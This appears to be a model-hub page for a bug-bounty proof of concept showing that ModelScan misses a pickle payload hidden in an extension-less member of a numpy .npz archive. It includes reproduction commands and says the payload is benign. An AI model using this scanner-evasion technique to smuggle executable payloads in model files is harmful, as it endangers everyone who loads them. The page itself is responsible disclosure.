You can deploy this model and start earning money today!

liamramsey/
modelscan-npz-bypass-poc

Name: modelscan-npz-bypass-poc
Availability: InStock

Views

No views yet

PoC: ModelScan bypass via extension-less .npz zip member (numpy)

Security research PoC for the huntr.com Model File Format bounty program. Benign marker payload only (writes /tmp/POC_PWNED_npz_bypass). No destructive or network behavior.

Summary

bypass.npz is a numpy .npz archive whose pickle payload is stored in a zip member named weights (no .npy extension). numpy.load(..., allow_pickle=True) still unpickles that member on access and executes arbitrary code — but Protect AI ModelScan (tested v0.8.6) tags zip members by file extension, never assigns the weights member the NUMPY format, and reports "No issues found!".

Reproduce

bash

pip install numpy==2.0.2 modelscan==0.8.6
# 1) it executes on load:
python -c "import numpy as np; np.load('bypass.npz', allow_pickle=True)['weights']; print(open('/tmp/POC_PWNED_npz_bypass').read())"
# -> prints BYPASS_PWNED_<n>
# 2) but the scanner says clean:
modelscan -p bypass.npz            # -> "No issues found!"
modelscan -p bypass.npz --show-skipped   # -> "bypass.npz:weights ... Model Scan did not scan file"

Control (proves the bypass is the member extension, not the container)

A .npz with the same payload in a member named config.npy IS flagged CRITICAL by ModelScan. See build_bypass.py for how the file was constructed.

liamramsey/modelscan-npz-bypass-poc

PoC: ModelScan bypass via extension-less .npz zip member (numpy)

Summary

Reproduce

Control (proves the bypass is the member extension, not the container)

liamramsey/
modelscan-npz-bypass-poc